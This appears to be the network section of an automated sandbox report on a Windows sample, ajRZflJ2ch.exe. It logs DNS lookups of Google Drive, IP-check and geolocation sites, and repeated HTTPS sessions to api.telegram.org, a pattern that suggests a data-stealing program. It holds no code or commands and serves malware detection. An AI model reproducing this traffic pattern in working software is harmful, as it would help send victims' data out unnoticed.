Jan 10, 2025 21:17:09.659775972 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:09.664526939 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:09.867818117 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:09.879024982 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:09.879086971 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:09.879163027 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:09.879570007 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:09.879595995 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:09.914055109 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:10.489929914 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.490060091 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:10.491813898 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:10.491825104 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.492077112 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.493598938 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:10.539330959 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.539407969 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:10.539414883 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.874133110 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.874284029 CET	443	49877	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:10.874334097 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:10.874742031 CET	49877	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:11.026407957 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:11.031339884 CET	80	49827	193.122.6.168	192.168.2.8
Jan 10, 2025 21:17:11.031404972 CET	49827	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:17:11.035022020 CET	49888	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:11.039782047 CET	80	49888	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:11.039850950 CET	49888	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:11.039938927 CET	49888	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:11.044766903 CET	80	49888	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:11.735805988 CET	80	49888	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:11.737334967 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:11.737369061 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:11.737472057 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:11.738094091 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:11.738104105 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:11.789066076 CET	49888	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:12.345186949 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:12.346955061 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:12.346962929 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:12.347090006 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:12.347096920 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:12.691149950 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:12.691257000 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:12.691306114 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:12.691751957 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:12.696393013 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:12.701168060 CET	80	49900	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:12.701235056 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:12.701349020 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:12.706135035 CET	80	49900	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:13.391932011 CET	80	49900	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:13.393532991 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:13.393577099 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:13.393703938 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:13.393994093 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:13.394006968 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:13.445578098 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:13.998153925 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:13.999794960 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:13.999824047 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:13.999964952 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:13.999972105 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:14.331029892 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:14.331111908 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:14.331285954 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:14.331540108 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:14.335021019 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:14.337014914 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:14.340006113 CET	80	49900	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:14.340056896 CET	49900	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:14.344660044 CET	80	49912	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:14.344854116 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:14.344854116 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:14.349706888 CET	80	49912	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:15.017756939 CET	80	49912	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:15.018946886 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.018995047 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.019051075 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.019397020 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.019408941 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.070283890 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:15.632827044 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.637290001 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.637322903 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.637531042 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.637537003 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.992254972 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.992331982 CET	443	49918	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:15.992491961 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.992779016 CET	49918	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:15.996154070 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:15.997173071 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:16.001518965 CET	80	49912	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:16.001579046 CET	49912	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:16.001976013 CET	80	49924	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:16.002155066 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:16.002155066 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:16.006915092 CET	80	49924	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:16.674288034 CET	80	49924	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:16.675755024 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:16.675793886 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:16.675879955 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:16.676110029 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:16.676115036 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:16.726644039 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.308132887 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:17.310715914 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:17.310744047 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:17.310920954 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:17.310929060 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:17.899512053 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:17.899596930 CET	443	49930	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:17.899791956 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:17.900105000 CET	49930	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:17.903361082 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.904858112 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.908399105 CET	80	49924	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:17.908564091 CET	49924	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.909686089 CET	80	49940	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:17.909779072 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.910092115 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:17.915368080 CET	80	49940	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:18.588387012 CET	80	49940	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:18.589771986 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:18.589833021 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:18.589956999 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:18.590229034 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:18.590244055 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:18.632844925 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.195462942 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:19.197206974 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:19.197237015 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:19.197319984 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:19.197325945 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:19.567267895 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:19.567364931 CET	443	49946	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:19.567435026 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:19.567892075 CET	49946	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:19.571346998 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.572527885 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.576380014 CET	80	49940	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:19.576484919 CET	49940	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.577315092 CET	80	49952	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:19.577382088 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.577498913 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:19.582282066 CET	80	49952	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:20.276863098 CET	80	49952	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:20.278089046 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:20.278132915 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:20.278461933 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:20.278461933 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:20.278495073 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:20.320322037 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:20.885703087 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:20.887455940 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:20.887490034 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:20.887561083 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:20.887569904 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:21.272578955 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:21.272667885 CET	443	49958	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:21.272725105 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:21.275115967 CET	49958	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:21.283982038 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:21.284676075 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:21.289160013 CET	80	49952	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:21.289264917 CET	49952	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:21.289501905 CET	80	49965	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:21.289570093 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:21.290628910 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:21.295420885 CET	80	49965	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:21.974267960 CET	80	49965	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:21.976036072 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:21.976072073 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:21.976208925 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:21.976670980 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:21.976680040 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.023519039 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:22.600461006 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.602535009 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:22.602561951 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.602921963 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:22.602931023 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.988543034 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.988639116 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:22.988832951 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:22.989125013 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:22.992547989 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:22.993930101 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:22.999783039 CET	80	49965	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:23.000683069 CET	80	49978	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:23.000744104 CET	49965	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:23.000874043 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:23.001033068 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:23.005812883 CET	80	49978	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:23.690236092 CET	80	49978	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:23.691567898 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:23.691610098 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:23.691768885 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:23.691956043 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:23.691971064 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:23.742393017 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.333141088 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:24.335350990 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:24.335370064 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:24.335587025 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:24.335592985 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:24.707673073 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:24.707766056 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:24.707842112 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:24.708256960 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:24.713783026 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.714988947 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.718877077 CET	80	49978	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:24.718945980 CET	49978	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.719775915 CET	80	49991	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:24.719865084 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.719990015 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:24.724740028 CET	80	49991	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:25.408899069 CET	80	49991	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:25.410368919 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:25.410409927 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:25.411183119 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:25.411545992 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:25.411557913 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:25.460953951 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.016653061 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:26.018695116 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:26.018713951 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:26.018759012 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:26.018768072 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:26.409950018 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:26.410028934 CET	443	49996	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:26.410136938 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:26.410659075 CET	49996	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:26.414319038 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.415517092 CET	49997	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.419265032 CET	80	49991	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:26.420293093 CET	80	49997	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:26.420357943 CET	49991	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.420496941 CET	49997	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.420572996 CET	49997	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:26.425340891 CET	80	49997	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:27.122813940 CET	80	49997	132.226.247.73	192.168.2.8
Jan 10, 2025 21:17:27.164094925 CET	49997	80	192.168.2.8	132.226.247.73
Jan 10, 2025 21:17:29.999021053 CET	49998	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:29.999069929 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:29.999135017 CET	49998	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:29.999459028 CET	49998	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:29.999475002 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.623050928 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.627098083 CET	49998	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:30.627120972 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.627274036 CET	49998	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:17:30.627280951 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.991274118 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.991601944 CET	443	49998	149.154.167.220	192.168.2.8
Jan 10, 2025 21:17:30.991650105 CET	49998	443	192.168.2.8	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:16:55.757563114 CET	57770	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:16:55.764081955 CET	53	57770	1.1.1.1	192.168.2.8
Jan 10, 2025 21:16:56.840797901 CET	57290	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:16:56.848531008 CET	53	57290	1.1.1.1	192.168.2.8
Jan 10, 2025 21:17:00.844769955 CET	56850	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:17:00.852308989 CET	53	56850	1.1.1.1	192.168.2.8
Jan 10, 2025 21:17:03.220773935 CET	54062	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:17:03.228076935 CET	53	54062	1.1.1.1	192.168.2.8
Jan 10, 2025 21:17:09.871552944 CET	52570	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:17:09.878420115 CET	53	52570	1.1.1.1	192.168.2.8
Jan 10, 2025 21:17:11.026942015 CET	64748	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:17:11.033934116 CET	53	64748	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:16:55.757563114 CET	192.168.2.8	1.1.1.1	0x5c3d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:16:56.840797901 CET	192.168.2.8	1.1.1.1	0x41b9	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.844769955 CET	192.168.2.8	1.1.1.1	0x122e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.220773935 CET	192.168.2.8	1.1.1.1	0x76d2	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:09.871552944 CET	192.168.2.8	1.1.1.1	0x422e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.026942015 CET	192.168.2.8	1.1.1.1	0xeeae	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:16:55.764081955 CET	1.1.1.1	192.168.2.8	0x5c3d	No error (0)	drive.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:16:56.848531008 CET	1.1.1.1	192.168.2.8	0x41b9	No error (0)	drive.usercontent.google.com		142.250.184.193	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:00.852308989 CET	1.1.1.1	192.168.2.8	0x122e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:03.228076935 CET	1.1.1.1	192.168.2.8	0x76d2	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:09.878420115 CET	1.1.1.1	192.168.2.8	0x422e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:17:11.033934116 CET	1.1.1.1	192.168.2.8	0xeeae	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49827	193.122.6.168	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:00.861711979 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
